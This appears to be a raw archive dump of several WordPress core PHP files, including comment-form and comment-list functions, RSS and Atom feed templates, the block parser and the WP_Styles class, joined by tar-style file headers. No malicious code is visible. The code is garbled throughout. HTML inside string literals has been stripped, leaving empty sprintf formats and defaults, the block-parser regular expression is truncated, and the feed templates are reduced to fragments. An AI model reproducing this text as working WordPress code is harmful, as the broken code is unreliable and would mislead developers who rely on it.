= array( $unapproved_email ); } } $comments = get_comments( $comment_args ); if ( 'all' !== $parsed_args['type'] ) { $comments_by_type = separate_comments( $comments ); if ( empty( $comments_by_type[ $parsed_args['type'] ] ) ) { return; } $_comments = $comments_by_type[ $parsed_args['type'] ]; } else { $_comments = $comments; } } // Otherwise, fall back on the comments from `$wp_query->comments`. } else { if ( empty( $wp_query->comments ) ) { return; } if ( 'all' !== $parsed_args['type'] ) { if ( empty( $wp_query->comments_by_type ) ) { $wp_query->comments_by_type = separate_comments( $wp_query->comments ); } if ( empty( $wp_query->comments_by_type[ $parsed_args['type'] ] ) ) { return; } $_comments = $wp_query->comments_by_type[ $parsed_args['type'] ]; } else { $_comments = $wp_query->comments; } if ( $wp_query->max_num_comment_pages ) { $default_comments_page = get_option( 'default_comments_page' ); $cpage = get_query_var( 'cpage' ); if ( 'newest' === $default_comments_page ) { $parsed_args['cpage'] = $cpage; /* * When first page shows oldest comments, post permalink is the same as * the comment permalink. */ } elseif ( 1 == $cpage ) { $parsed_args['cpage'] = ''; } else { $parsed_args['cpage'] = $cpage; } $parsed_args['page'] = 0; $parsed_args['per_page'] = 0; } } } if ( '' === $parsed_args['per_page'] && get_option( 'page_comments' ) ) { $parsed_args['per_page'] = get_query_var( 'comments_per_page' ); } if ( empty( $parsed_args['per_page'] ) ) { $parsed_args['per_page'] = 0; $parsed_args['page'] = 0; } if ( '' === $parsed_args['max_depth'] ) { if ( get_option( 'thread_comments' ) ) { $parsed_args['max_depth'] = get_option( 'thread_comments_depth' ); } else { $parsed_args['max_depth'] = -1; } } if ( '' === $parsed_args['page'] ) { if ( empty( $overridden_cpage ) ) { $parsed_args['page'] = get_query_var( 'cpage' ); } else { $threaded = ( -1 != $parsed_args['max_depth'] ); $parsed_args['page'] = ( 'newest' === get_option( 'default_comments_page' ) ) ? get_comment_pages_count( $_comments, $parsed_args['per_page'], $threaded ) : 1; set_query_var( 'cpage', $parsed_args['page'] ); } } // Validation check. $parsed_args['page'] = (int) $parsed_args['page']; if ( 0 == $parsed_args['page'] && 0 != $parsed_args['per_page'] ) { $parsed_args['page'] = 1; } if ( null === $parsed_args['reverse_top_level'] ) { $parsed_args['reverse_top_level'] = ( 'desc' === get_option( 'comment_order' ) ); } wp_queue_comments_for_comment_meta_lazyload( $_comments ); if ( empty( $parsed_args['walker'] ) ) { $walker = new Walker_Comment; } else { $walker = $parsed_args['walker']; } $output = $walker->paged_walk( $_comments, $parsed_args['max_depth'], $parsed_args['page'], $parsed_args['per_page'], $parsed_args ); $in_comment_loop = false; if ( $parsed_args['echo'] ) { echo $output; } else { return $output; } } /** * Outputs a complete commenting form for use within a template. * * Most strings and form fields may be controlled through the `$args` array passed * into the function, while you may also choose to use the {@see 'comment_form_default_fields'} * filter to modify the array of default fields if you'd just like to add a new * one or remove a single field. All fields are also individually passed through * a filter of the {@see 'comment_form_field_$name'} where `$name` is the key used * in the array of fields. * * @since 3.0.0 * @since 4.1.0 Introduced the 'class_submit' argument. * @since 4.2.0 Introduced the 'submit_button' and 'submit_fields' arguments. * @since 4.4.0 Introduced the 'class_form', 'title_reply_before', 'title_reply_after', * 'cancel_reply_before', and 'cancel_reply_after' arguments. * @since 4.5.0 The 'author', 'email', and 'url' form fields are limited to 245, 100, * and 200 characters, respectively. * @since 4.6.0 Introduced the 'action' argument. * @since 4.9.6 Introduced the 'cookies' default comment field. * @since 5.5.0 Introduced the 'class_container' argument. * * @param array $args { * Optional. Default arguments and form fields to override. * * @type array $fields { * Default comment fields, filterable by default via the {@see 'comment_form_default_fields'} hook. * * @type string $author Comment author field HTML. * @type string $email Comment author email field HTML. * @type string $url Comment author URL field HTML. * @type string $cookies Comment cookie opt-in field HTML. * } * @type string $comment_field The comment textarea field HTML. * @type string $must_log_in HTML element for a 'must be logged in to comment' message. * @type string $logged_in_as HTML element for a 'logged in as [user]' message. * @type string $comment_notes_before HTML element for a message displayed before the comment fields * if the user is not logged in. * Default 'Your email address will not be published.'. * @type string $comment_notes_after HTML element for a message displayed after the textarea field. * @type string $action The comment form element action attribute. Default '/wp-comments-post.php'. * @type string $id_form The comment form element id attribute. Default 'commentform'. * @type string $id_submit The comment submit element id attribute. Default 'submit'. * @type string $class_container The comment form container class attribute. Default 'comment-respond'. * @type string $class_form The comment form element class attribute. Default 'comment-form'. * @type string $class_submit The comment submit element class attribute. Default 'submit'. * @type string $name_submit The comment submit element name attribute. Default 'submit'. * @type string $title_reply The translatable 'reply' button label. Default 'Leave a Reply'. * @type string $title_reply_to The translatable 'reply-to' button label. Default 'Leave a Reply to %s', * where %s is the author of the comment being replied to. * @type string $title_reply_before HTML displayed before the comment form title. * Default: '

    '. * @type string $title_reply_after HTML displayed after the comment form title. * Default: '

    '. * @type string $cancel_reply_before HTML displayed before the cancel reply link. * @type string $cancel_reply_after HTML displayed after the cancel reply link. * @type string $cancel_reply_link The translatable 'cancel reply' button label. Default 'Cancel reply'. * @type string $label_submit The translatable 'submit' button label. Default 'Post a comment'. * @type string $submit_button HTML format for the Submit button. * Default: ''. * @type string $submit_field HTML format for the markup surrounding the Submit button and comment hidden * fields. Default: '

    %1$s %2$s

    ', where %1$s is the * submit button markup and %2$s is the comment hidden fields. * @type string $format The comment form format. Default 'xhtml'. Accepts 'xhtml', 'html5'. * } * @param int|WP_Post $post_id Post ID or WP_Post object to generate the form for. Default current post. */ function comment_form( $args = array(), $post_id = null ) { if ( null === $post_id ) { $post_id = get_the_ID(); } // Exit the function when comments for the post are closed. if ( ! comments_open( $post_id ) ) { /** * Fires after the comment form if comments are closed. * * @since 3.0.0 */ do_action( 'comment_form_comments_closed' ); return; } $commenter = wp_get_current_commenter(); $user = wp_get_current_user(); $user_identity = $user->exists() ? $user->display_name : ''; $args = wp_parse_args( $args ); if ( ! isset( $args['format'] ) ) { $args['format'] = current_theme_supports( 'html5', 'comment-form' ) ? 'html5' : 'xhtml'; } $req = get_option( 'require_name_email' ); $html5 = 'html5' === $args['format']; // Define attributes in HTML5 or XHTML syntax. $required_attribute = ( $html5 ? ' required' : ' required="required"' ); $checked_attribute = ( $html5 ? ' checked' : ' checked="checked"' ); // Identify required fields visually. $required_indicator = ' '; $fields = array( 'author' => sprintf( '

    %s %s

    ', sprintf( '', __( 'Name' ), ( $req ? $required_indicator : '' ) ), sprintf( '', esc_attr( $commenter['comment_author'] ), ( $req ? $required_attribute : '' ) ) ), 'email' => sprintf( '', sprintf( '', __( 'Email' ), ( $req ? $required_indicator : '' ) ), sprintf( '', ( $html5 ? 'type="email"' : 'type="text"' ), esc_attr( $commenter['comment_author_email'] ), ( $req ? $required_attribute : '' ) ) ), 'url' => sprintf( '

    %s %s

    ', sprintf( '', __( 'Website' ) ), sprintf( '', ( $html5 ? 'type="url"' : 'type="text"' ), esc_attr( $commenter['comment_author_url'] ) ) ), ); if ( has_action( 'set_comment_cookies', 'wp_set_comment_cookies' ) && get_option( 'show_comments_cookies_opt_in' ) ) { $consent = empty( $commenter['comment_author_email'] ) ? '' : $checked_attribute; $fields['cookies'] = sprintf( '', sprintf( '', $consent ), sprintf( '', __( 'Save my name, email, and website in this browser for the next time I comment.' ) ) ); // Ensure that the passed fields include cookies consent. if ( isset( $args['fields'] ) && ! isset( $args['fields']['cookies'] ) ) { $args['fields']['cookies'] = $fields['cookies']; } } $required_text = sprintf( /* translators: %s: Asterisk symbol (*). */ ' ', trim( $required_indicator ) ); /** * Filters the default comment form fields. * * @since 3.0.0 * * @param string[] $fields Array of the default comment fields. */ $fields = apply_filters( 'comment_form_default_fields', $fields ); $defaults = array( 'fields' => $fields, 'comment_field' => sprintf( '

    %s %s

    ', sprintf( '', _x( 'Comment', 'noun' ), $required_indicator ), '' ), 'must_log_in' => sprintf( '', sprintf( /* translators: %s: Login URL. */ __( 'You must be logged in to post a comment.' ), /** This filter is documented in wp-includes/link-template.php */ wp_login_url( apply_filters( 'the_permalink', get_permalink( $post_id ), $post_id ) ) ) ), 'logged_in_as' => sprintf( '

    %s%s

    ', sprintf( /* translators: 1: Edit user link, 2: Accessibility text, 3: User name, 4: Logout URL. */ __( 'Logged in as %3$s. Log out?' ), get_edit_user_link(), /* translators: %s: User name. */ esc_attr( sprintf( __( 'Logged in as %s. Edit your profile.' ), $user_identity ) ), $user_identity, /** This filter is documented in wp-includes/link-template.php */ wp_logout_url( apply_filters( 'the_permalink', get_permalink( $post_id ), $post_id ) ) ), $required_text ), 'comment_notes_before' => sprintf( '

    %s%s

    ', sprintf( '%s', __( 'Your email address will not be published.' ) ), $required_text ), 'comment_notes_after' => '', 'action' => site_url( '/wp-comments-post.php' ), 'id_form' => 'commentform', 'id_submit' => 'submit', 'class_container' => 'comment-respond', 'class_form' => 'comment-form', 'class_submit' => 'submit', 'name_submit' => 'submit', 'title_reply' => __( 'Leave a Reply' ), /* translators: %s: Author of the comment being replied to. */ 'title_reply_to' => __( 'Leave a Reply to %s' ), 'title_reply_before' => '

    ', 'title_reply_after' => '

    ', 'cancel_reply_before' => ' ', 'cancel_reply_after' => '', 'cancel_reply_link' => __( 'Cancel reply' ), 'label_submit' => __( 'Post Comment' ), 'submit_button' => '', 'submit_field' => '

    %1$s %2$s

    ', 'format' => 'xhtml', ); /** * Filters the comment form default arguments. * * Use {@see 'comment_form_default_fields'} to filter the comment fields. * * @since 3.0.0 * * @param array $defaults The default comment form arguments. */ $args = wp_parse_args( $args, apply_filters( 'comment_form_defaults', $defaults ) ); // Ensure that the filtered arguments contain all required default values. $args = array_merge( $defaults, $args ); // Remove `aria-describedby` from the email field if there's no associated description. if ( isset( $args['fields']['email'] ) && false === strpos( $args['comment_notes_before'], 'id="email-notes"' ) ) { $args['fields']['email'] = str_replace( ' aria-describedby="email-notes"', '', $args['fields']['email'] ); } /** * Fires before the comment form. * * @since 3.0.0 */ do_action( 'comment_form_before' ); ?>
    ', esc_url( $args['action'] ), esc_attr( $args['id_form'] ), esc_attr( $args['class_form'] ), ( $html5 ? ' novalidate' : '' ) ); /** * Fires at the top of the comment form, inside the form tag. * * @since 3.0.0 */ do_action( 'comment_form_top' ); if ( is_user_logged_in() ) : /** * Filters the 'logged in' message for the comment form for display. * * @since 3.0.0 * * @param string $args_logged_in The logged-in-as HTML-formatted message. * @param array $commenter An array containing the comment author's * username, email, and URL. * @param string $user_identity If the commenter is a registered user, * the display name, blank otherwise. */ echo apply_filters( 'comment_form_logged_in', $args['logged_in_as'], $commenter, $user_identity ); /** * Fires after the is_user_logged_in() check in the comment form. * * @since 3.0.0 * * @param array $commenter An array containing the comment author's * username, email, and URL. * @param string $user_identity If the commenter is a registered user, * the display name, blank otherwise. */ do_action( 'comment_form_logged_in_after', $commenter, $user_identity ); else : echo $args['comment_notes_before']; endif; // Prepare an array of all fields, including the textarea. $comment_fields = array( 'comment' => $args['comment_field'] ) + (array) $args['fields']; /** * Filters the comment form fields, including the textarea. * * @since 4.4.0 * * @param array $comment_fields The comment fields. */ $comment_fields = apply_filters( 'comment_form_fields', $comment_fields ); // Get an array of field names, excluding the textarea. $comment_field_keys = array_diff( array_keys( $comment_fields ), array( 'comment' ) ); // Get the first and the last field name, excluding the textarea. $first_field = reset( $comment_field_keys ); $last_field = end( $comment_field_keys ); foreach ( $comment_fields as $name => $field ) { if ( 'comment' === $name ) { /** * Filters the content of the comment textarea field for display. * * @since 3.0.0 * * @param string $args_comment_field The content of the comment textarea field. */ echo apply_filters( 'comment_form_field_comment', $field ); echo $args['comment_notes_after']; } elseif ( ! is_user_logged_in() ) { if ( $first_field === $name ) { /** * Fires before the comment fields in the comment form, excluding the textarea. * * @since 3.0.0 */ do_action( 'comment_form_before_fields' ); } /** * Filters a comment form field for display. * * The dynamic portion of the hook name, `$name`, refers to the name * of the comment form field. * * Possible hook names include: * * - `comment_form_field_comment` * - `comment_form_field_author` * - `comment_form_field_email` * - `comment_form_field_url` * - `comment_form_field_cookies` * * @since 3.0.0 * * @param string $field The HTML-formatted output of the comment form field. */ echo apply_filters( "comment_form_field_{$name}", $field ) . "\n"; if ( $last_field === $name ) { /** * Fires after the comment fields in the comment form, excluding the textarea. * * @since 3.0.0 */ do_action( 'comment_form_after_fields' ); } } } $submit_button = sprintf( $args['submit_button'], esc_attr( $args['name_submit'] ), esc_attr( $args['id_submit'] ), esc_attr( $args['class_submit'] ), esc_attr( $args['label_submit'] ) ); /** * Filters the submit button for the comment form to display. * * @since 4.2.0 * * @param string $submit_button HTML markup for the submit button. * @param array $args Arguments passed to comment_form(). */ $submit_button = apply_filters( 'comment_form_submit_button', $submit_button, $args ); $submit_field = sprintf( $args['submit_field'], $submit_button, get_comment_id_fields( $post_id ) ); /** * Filters the submit field for the comment form to display. * * The submit field includes the submit button, hidden fields for the * comment form, and any wrapper markup. * * @since 4.2.0 * * @param string $submit_field HTML markup for the submit field. * @param array $args Arguments passed to comment_form(). */ echo apply_filters( 'comment_form_submit_field', $submit_field, $args ); /** * Fires at the bottom of the comment form, inside the closing form tag. * * @since 1.5.0 * * @param int $post_id The post ID. */ do_action( 'comment_form', $post_id ); echo ''; endif; ?>
    '; ?> <?php wp_title_rss(); ?> http://backend.userland.com/rss092 <?php the_title_rss(); ?> ]]> class-wp-block-parser.php000064400000035562147177035020011411 0ustar00 3 ) * * @since 5.0.0 * @var array|null */ public $attrs; /** * List of inner blocks (of this same class) * * @since 5.0.0 * @var WP_Block_Parser_Block[] */ public $innerBlocks; /** * Resultant HTML from inside block comment delimiters * after removing inner blocks * * @example "...Just testing..." -> "Just testing..." * * @since 5.0.0 * @var string */ public $innerHTML; /** * List of string fragments and null markers where inner blocks were found * * @example array( * 'innerHTML' => 'BeforeInnerAfter', * 'innerBlocks' => array( block, block ), * 'innerContent' => array( 'Before', null, 'Inner', null, 'After' ), * ) * * @since 4.2.0 * @var array */ public $innerContent; /** * Constructor. * * Will populate object properties from the provided arguments. * * @since 5.0.0 * * @param string $name Name of block. * @param array $attrs Optional set of attributes from block comment delimiters. * @param array $innerBlocks List of inner blocks (of this same class). * @param string $innerHTML Resultant HTML from inside block comment delimiters after removing inner blocks. * @param array $innerContent List of string fragments and null markers where inner blocks were found. */ function __construct( $name, $attrs, $innerBlocks, $innerHTML, $innerContent ) { $this->blockName = $name; $this->attrs = $attrs; $this->innerBlocks = $innerBlocks; $this->innerHTML = $innerHTML; $this->innerContent = $innerContent; } } /** * Class WP_Block_Parser_Frame * * Holds partial blocks in memory while parsing * * @internal * @since 5.0.0 */ class WP_Block_Parser_Frame { /** * Full or partial block * * @since 5.0.0 * @var WP_Block_Parser_Block */ public $block; /** * Byte offset into document for start of parse token * * @since 5.0.0 * @var int */ public $token_start; /** * Byte length of entire parse token string * * @since 5.0.0 * @var int */ public $token_length; /** * Byte offset into document for after parse token ends * (used during reconstruction of stack into parse production) * * @since 5.0.0 * @var int */ public $prev_offset; /** * Byte offset into document where leading HTML before token starts * * @since 5.0.0 * @var int */ public $leading_html_start; /** * Constructor * * Will populate object properties from the provided arguments. * * @since 5.0.0 * * @param WP_Block_Parser_Block $block Full or partial block. * @param int $token_start Byte offset into document for start of parse token. * @param int $token_length Byte length of entire parse token string. * @param int $prev_offset Byte offset into document for after parse token ends. * @param int $leading_html_start Byte offset into document where leading HTML before token starts. */ function __construct( $block, $token_start, $token_length, $prev_offset = null, $leading_html_start = null ) { $this->block = $block; $this->token_start = $token_start; $this->token_length = $token_length; $this->prev_offset = isset( $prev_offset ) ? $prev_offset : $token_start + $token_length; $this->leading_html_start = $leading_html_start; } } /** * Class WP_Block_Parser * * Parses a document and constructs a list of parsed block objects * * @since 5.0.0 * @since 4.0.0 returns arrays not objects, all attributes are arrays */ class WP_Block_Parser { /** * Input document being parsed * * @example "Pre-text\nThis is inside a block!" * * @since 5.0.0 * @var string */ public $document; /** * Tracks parsing progress through document * * @since 5.0.0 * @var int */ public $offset; /** * List of parsed blocks * * @since 5.0.0 * @var WP_Block_Parser_Block[] */ public $output; /** * Stack of partially-parsed structures in memory during parse * * @since 5.0.0 * @var WP_Block_Parser_Frame[] */ public $stack; /** * Empty associative array, here due to PHP quirks * * @since 4.4.0 * @var array empty associative array */ public $empty_attrs; /** * Parses a document and returns a list of block structures * * When encountering an invalid parse will return a best-effort * parse. In contrast to the specification parser this does not * return an error on invalid inputs. * * @since 5.0.0 * * @param string $document Input document being parsed. * @return WP_Block_Parser_Block[] */ function parse( $document ) { $this->document = $document; $this->offset = 0; $this->output = array(); $this->stack = array(); $this->empty_attrs = json_decode( '{}', true ); do { // twiddle our thumbs. } while ( $this->proceed() ); return $this->output; } /** * Processes the next token from the input document * and returns whether to proceed eating more tokens * * This is the "next step" function that essentially * takes a token as its input and decides what to do * with that token before descending deeper into a * nested block tree or continuing along the document * or breaking out of a level of nesting. * * @internal * @since 5.0.0 * @return bool */ function proceed() { $next_token = $this->next_token(); list( $token_type, $block_name, $attrs, $start_offset, $token_length ) = $next_token; $stack_depth = count( $this->stack ); // we may have some HTML soup before the next block. $leading_html_start = $start_offset > $this->offset ? $this->offset : null; switch ( $token_type ) { case 'no-more-tokens': // if not in a block then flush output. if ( 0 === $stack_depth ) { $this->add_freeform(); return false; } /* * Otherwise we have a problem * This is an error * * we have options * - treat it all as freeform text * - assume an implicit closer (easiest when not nesting) */ // for the easy case we'll assume an implicit closer. if ( 1 === $stack_depth ) { $this->add_block_from_stack(); return false; } /* * for the nested case where it's more difficult we'll * have to assume that multiple closers are missing * and so we'll collapse the whole stack piecewise */ while ( 0 < count( $this->stack ) ) { $this->add_block_from_stack(); } return false; case 'void-block': /* * easy case is if we stumbled upon a void block * in the top-level of the document */ if ( 0 === $stack_depth ) { if ( isset( $leading_html_start ) ) { $this->output[] = (array) $this->freeform( substr( $this->document, $leading_html_start, $start_offset - $leading_html_start ) ); } $this->output[] = (array) new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() ); $this->offset = $start_offset + $token_length; return true; } // otherwise we found an inner block. $this->add_inner_block( new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() ), $start_offset, $token_length ); $this->offset = $start_offset + $token_length; return true; case 'block-opener': // track all newly-opened blocks on the stack. array_push( $this->stack, new WP_Block_Parser_Frame( new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() ), $start_offset, $token_length, $start_offset + $token_length, $leading_html_start ) ); $this->offset = $start_offset + $token_length; return true; case 'block-closer': /* * if we're missing an opener we're in trouble * This is an error */ if ( 0 === $stack_depth ) { /* * we have options * - assume an implicit opener * - assume _this_ is the opener * - give up and close out the document */ $this->add_freeform(); return false; } // if we're not nesting then this is easy - close the block. if ( 1 === $stack_depth ) { $this->add_block_from_stack( $start_offset ); $this->offset = $start_offset + $token_length; return true; } /* * otherwise we're nested and we have to close out the current * block and add it as a new innerBlock to the parent */ $stack_top = array_pop( $this->stack ); $html = substr( $this->document, $stack_top->prev_offset, $start_offset - $stack_top->prev_offset ); $stack_top->block->innerHTML .= $html; $stack_top->block->innerContent[] = $html; $stack_top->prev_offset = $start_offset + $token_length; $this->add_inner_block( $stack_top->block, $stack_top->token_start, $stack_top->token_length, $start_offset + $token_length ); $this->offset = $start_offset + $token_length; return true; default: // This is an error. $this->add_freeform(); return false; } } /** * Scans the document from where we last left off * and finds the next valid token to parse if it exists * * Returns the type of the find: kind of find, block information, attributes * * @internal * @since 5.0.0 * @since 4.6.1 fixed a bug in attribute parsing which caused catastrophic backtracking on invalid block comments * @return array */ function next_token() { $matches = null; /* * aye the magic * we're using a single RegExp to tokenize the block comment delimiters * we're also using a trick here because the only difference between a * block opener and a block closer is the leading `/` before `wp:` (and * a closer has no attributes). we can trap them both and process the * match back in PHP to see which one it was. */ $has_match = preg_match( '/).)*+)?}\s+)?(?P\/)?-->/s', $this->document, $matches, PREG_OFFSET_CAPTURE, $this->offset ); // if we get here we probably have catastrophic backtracking or out-of-memory in the PCRE. if ( false === $has_match ) { return array( 'no-more-tokens', null, null, null, null ); } // we have no more tokens. if ( 0 === $has_match ) { return array( 'no-more-tokens', null, null, null, null ); } list( $match, $started_at ) = $matches[0]; $length = strlen( $match ); $is_closer = isset( $matches['closer'] ) && -1 !== $matches['closer'][1]; $is_void = isset( $matches['void'] ) && -1 !== $matches['void'][1]; $namespace = $matches['namespace']; $namespace = ( isset( $namespace ) && -1 !== $namespace[1] ) ? $namespace[0] : 'core/'; $name = $namespace . $matches['name'][0]; $has_attrs = isset( $matches['attrs'] ) && -1 !== $matches['attrs'][1]; /* * Fun fact! It's not trivial in PHP to create "an empty associative array" since all arrays * are associative arrays. If we use `array()` we get a JSON `[]` */ $attrs = $has_attrs ? json_decode( $matches['attrs'][0], /* as-associative */ true ) : $this->empty_attrs; /* * This state isn't allowed * This is an error */ if ( $is_closer && ( $is_void || $has_attrs ) ) { // we can ignore them since they don't hurt anything. } if ( $is_void ) { return array( 'void-block', $name, $attrs, $started_at, $length ); } if ( $is_closer ) { return array( 'block-closer', $name, null, $started_at, $length ); } return array( 'block-opener', $name, $attrs, $started_at, $length ); } /** * Returns a new block object for freeform HTML * * @internal * @since 3.9.0 * * @param string $innerHTML HTML content of block. * @return WP_Block_Parser_Block freeform block object. */ function freeform( $innerHTML ) { return new WP_Block_Parser_Block( null, $this->empty_attrs, array(), $innerHTML, array( $innerHTML ) ); } /** * Pushes a length of text from the input document * to the output list as a freeform block. * * @internal * @since 5.0.0 * @param null $length how many bytes of document text to output. */ function add_freeform( $length = null ) { $length = $length ? $length : strlen( $this->document ) - $this->offset; if ( 0 === $length ) { return; } $this->output[] = (array) $this->freeform( substr( $this->document, $this->offset, $length ) ); } /** * Given a block structure from memory pushes * a new block to the output list. * * @internal * @since 5.0.0 * @param WP_Block_Parser_Block $block The block to add to the output. * @param int $token_start Byte offset into the document where the first token for the block starts. * @param int $token_length Byte length of entire block from start of opening token to end of closing token. * @param int|null $last_offset Last byte offset into document if continuing form earlier output. */ function add_inner_block( WP_Block_Parser_Block $block, $token_start, $token_length, $last_offset = null ) { $parent = $this->stack[ count( $this->stack ) - 1 ]; $parent->block->innerBlocks[] = (array) $block; $html = substr( $this->document, $parent->prev_offset, $token_start - $parent->prev_offset ); if ( ! empty( $html ) ) { $parent->block->innerHTML .= $html; $parent->block->innerContent[] = $html; } $parent->block->innerContent[] = null; $parent->prev_offset = $last_offset ? $last_offset : $token_start + $token_length; } /** * Pushes the top block from the parsing stack to the output list. * * @internal * @since 5.0.0 * @param int|null $end_offset byte offset into document for where we should stop sending text output as HTML. */ function add_block_from_stack( $end_offset = null ) { $stack_top = array_pop( $this->stack ); $prev_offset = $stack_top->prev_offset; $html = isset( $end_offset ) ? substr( $this->document, $prev_offset, $end_offset - $prev_offset ) : substr( $this->document, $prev_offset ); if ( ! empty( $html ) ) { $stack_top->block->innerHTML .= $html; $stack_top->block->innerContent[] = $html; } if ( isset( $stack_top->leading_html_start ) ) { $this->output[] = (array) $this->freeform( substr( $this->document, $stack_top->leading_html_start, $stack_top->token_start - $stack_top->leading_html_start ) ); } $this->output[] = (array) $stack_top->block; } } feed-atom.php000064400000005750147177035020007133 0ustar00'; /** This action is documented in wp-includes/feed-rss2.php */ do_action( 'rss_tag_pre', 'atom' ); ?> > <?php wp_title_rss(); ?> <![CDATA[<?php the_title_rss(); ?>]]> ]]> ]]> class.wp-styles.php000064400000025215147177035020010343 0ustar00type_attr = " type='text/css'"; } /** * Fires when the WP_Styles instance is initialized. * * @since 2.6.0 * * @param WP_Styles $wp_styles WP_Styles instance (passed by reference). */ do_action_ref_array( 'wp_default_styles', array( &$this ) ); } /** * Processes a style dependency. * * @since 2.6.0 * @since 5.5.0 Added the `$group` parameter. * * @see WP_Dependencies::do_item() * * @param string $handle The style's registered handle. * @param int|false $group Optional. Group level: level (int), no groups (false). * Default false. * @return bool True on success, false on failure. */ public function do_item( $handle, $group = false ) { if ( ! parent::do_item( $handle ) ) { return false; } $obj = $this->registered[ $handle ]; if ( null === $obj->ver ) { $ver = ''; } else { $ver = $obj->ver ? $obj->ver : $this->default_version; } if ( isset( $this->args[ $handle ] ) ) { $ver = $ver ? $ver . '&' . $this->args[ $handle ] : $this->args[ $handle ]; } $src = $obj->src; $cond_before = ''; $cond_after = ''; $conditional = isset( $obj->extra['conditional'] ) ? $obj->extra['conditional'] : ''; if ( $conditional ) { $cond_before = "\n"; } $inline_style = $this->print_inline_style( $handle, false ); if ( $inline_style ) { $inline_style_tag = sprintf( "\n", esc_attr( $handle ), $this->type_attr, $inline_style ); } else { $inline_style_tag = ''; } if ( $this->do_concat ) { if ( $this->in_default_dir( $src ) && ! $conditional && ! isset( $obj->extra['alt'] ) ) { $this->concat .= "$handle,"; $this->concat_version .= "$handle$ver"; $this->print_code .= $inline_style; return true; } } if ( isset( $obj->args ) ) { $media = esc_attr( $obj->args ); } else { $media = 'all'; } // A single item may alias a set of items, by having dependencies, but no source. if ( ! $src ) { if ( $inline_style_tag ) { if ( $this->do_concat ) { $this->print_html .= $inline_style_tag; } else { echo $inline_style_tag; } } return true; } $href = $this->_css_href( $src, $ver, $handle ); if ( ! $href ) { return true; } $rel = isset( $obj->extra['alt'] ) && $obj->extra['alt'] ? 'alternate stylesheet' : 'stylesheet'; $title = isset( $obj->extra['title'] ) ? sprintf( "title='%s'", esc_attr( $obj->extra['title'] ) ) : ''; $tag = sprintf( "\n", $rel, $handle, $title, $href, $this->type_attr, $media ); /** * Filters the HTML link tag of an enqueued style. * * @since 2.6.0 * @since 4.3.0 Introduced the `$href` parameter. * @since 4.5.0 Introduced the `$media` parameter. * * @param string $tag The link tag for the enqueued style. * @param string $handle The style's registered handle. * @param string $href The stylesheet's source URL. * @param string $media The stylesheet's media attribute. */ $tag = apply_filters( 'style_loader_tag', $tag, $handle, $href, $media ); if ( 'rtl' === $this->text_direction && isset( $obj->extra['rtl'] ) && $obj->extra['rtl'] ) { if ( is_bool( $obj->extra['rtl'] ) || 'replace' === $obj->extra['rtl'] ) { $suffix = isset( $obj->extra['suffix'] ) ? $obj->extra['suffix'] : ''; $rtl_href = str_replace( "{$suffix}.css", "-rtl{$suffix}.css", $this->_css_href( $src, $ver, "$handle-rtl" ) ); } else { $rtl_href = $this->_css_href( $obj->extra['rtl'], $ver, "$handle-rtl" ); } $rtl_tag = sprintf( "\n", $rel, $handle, $title, $rtl_href, $this->type_attr, $media ); /** This filter is documented in wp-includes/class.wp-styles.php */ $rtl_tag = apply_filters( 'style_loader_tag', $rtl_tag, $handle, $rtl_href, $media ); if ( 'replace' === $obj->extra['rtl'] ) { $tag = $rtl_tag; } else { $tag .= $rtl_tag; } } if ( $this->do_concat ) { $this->print_html .= $cond_before; $this->print_html .= $tag; if ( $inline_style_tag ) { $this->print_html .= $inline_style_tag; } $this->print_html .= $cond_after; } else { echo $cond_before; echo $tag; $this->print_inline_style( $handle ); echo $cond_after; } return true; } /** * Adds extra CSS styles to a registered stylesheet. * * @since 3.3.0 * * @param string $handle The style's registered handle. * @param string $code String containing the CSS styles to be added. * @return bool True on success, false on failure. */ public function add_inline_style( $handle, $code ) { if ( ! $code ) { return false; } $after = $this->get_data( $handle, 'after' ); if ( ! $after ) { $after = array(); } $after[] = $code; return $this->add_data( $handle, 'after', $after ); } /** * Prints extra CSS styles of a registered stylesheet. * * @since 3.3.0 * * @param string $handle The style's registered handle. * @param bool $display Optional. Whether to print the inline style * instead of just returning it. Default true. * @return string|bool False if no data exists, inline styles if `$display` is true, * true otherwise. */ public function print_inline_style( $handle, $display = true ) { $output = $this->get_data( $handle, 'after' ); if ( empty( $output ) ) { return false; } $output = implode( "\n", $output ); if ( ! $display ) { return $output; } printf( "\n", esc_attr( $handle ), $this->type_attr, $output ); return true; } /** * Determines style dependencies. * * @since 2.6.0 * * @see WP_Dependencies::all_deps() * * @param string|string[] $handles Item handle (string) or item handles (array of strings). * @param bool $recursion Optional. Internal flag that function is calling itself. * Default false. * @param int|false $group Optional. Group level: level (int), no groups (false). * Default false. * @return bool True on success, false on failure. */ public function all_deps( $handles, $recursion = false, $group = false ) { $r = parent::all_deps( $handles, $recursion, $group ); if ( ! $recursion ) { /** * Filters the array of enqueued styles before processing for output. * * @since 2.6.0 * * @param string[] $to_do The list of enqueued style handles about to be processed. */ $this->to_do = apply_filters( 'print_styles_array', $this->to_do ); } return $r; } /** * Generates an enqueued style's fully-qualified URL. * * @since 2.6.0 * * @param string $src The source of the enqueued style. * @param string $ver The version of the enqueued style. * @param string $handle The style's registered handle. * @return string Style's fully-qualified URL. */ public function _css_href( $src, $ver, $handle ) { if ( ! is_bool( $src ) && ! preg_match( '|^(https?:)?//|', $src ) && ! ( $this->content_url && 0 === strpos( $src, $this->content_url ) ) ) { $src = $this->base_url . $src; } if ( ! empty( $ver ) ) { $src = add_query_arg( 'ver', $ver, $src ); } /** * Filters an enqueued style's fully-qualified URL. * * @since 2.6.0 * * @param string $src The source URL of the enqueued style. * @param string $handle The style's registered handle. */ $src = apply_filters( 'style_loader_src', $src, $handle ); return esc_url( $src ); } /** * Whether a handle's source is in a default directory. * * @since 2.8.0 * * @param string $src The source of the enqueued style. * @return bool True if found, false if not. */ public function in_default_dir( $src ) { if ( ! $this->default_dirs ) { return true; } foreach ( (array) $this->default_dirs as $test ) { if ( 0 === strpos( $src, $test ) ) { return true; } } return false; } /** * Processes items and dependencies for the footer group. * * HTML 5 allows styles in the body, grab late enqueued items and output them in the footer. * * @since 3.3.0 * * @see WP_Dependencies::do_items() * * @return string[] Handles of items that have been processed. */ public function do_footer_items() { $this->do_items( false, 1 ); return $this->done; } /** * Resets class properties. * * @since 3.3.0 */ public function reset() { $this->do_concat = false; $this->concat = ''; $this->concat_version = ''; $this->print_html = ''; } } class-wp-customize-control.php000064400000062157147177035020012525 0ustar00$key = $args[ $key ]; } } $this->manager = $manager; $this->id = $id; if ( empty( $this->active_callback ) ) { 